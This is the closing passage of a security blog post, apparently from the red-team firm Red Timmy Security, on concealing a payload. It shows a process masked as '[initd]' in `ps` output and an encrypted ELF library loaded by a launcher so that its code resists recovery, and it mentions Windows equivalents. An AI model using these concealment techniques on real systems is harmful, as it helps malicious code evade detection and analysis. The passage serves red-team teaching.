…and from the PID the actual process name:

```
$ ps -wuax | grep init
user 19087 0.0 0.0 8648 112 pts/5 S 19:56 0:00 [initd]
```

Well you now know should never trust the `ps` output!

Red Timmy Security

CONCLUSION

What if somebody discovers the launcher binary and the encrypted ELF dynamic library in the filesystem? The encryption key is not known hence nobody could decrypt and execute our payload.

What if the offset and length of encrypted sections are entered incorrectly? This will lead most of the cases to a segfault or illegal instruction and the consequent crash of the launcher component. Again, the code does not leak out.

Can this be done on Windows machine? Well, if you think about "`LoadLibrary()`", "`LoadModule()`" and "`GetProcAddress()`", these functions API do the same as "`dlopen()`" and "`dlsyms()`".

If you want to know more about similar exploitation techniques and other web hacking tricks, check out our Blackhat Las Vegas courses on August 1-2[1] and 3-4[2] 2020, because this will be one of the topics covered there.

Twitter: https://twitter.com/redtimmysec
Blog: https://www.redtimmy.com/blog/

[1] https://www.blackhat.com/us-20/training/schedule/index.html#practical-web-application-hacking-advanced-18992

[2] https://www.blackhat.com/us-20/training/schedule/#practical-web-application-hacking-advanced-189921578438852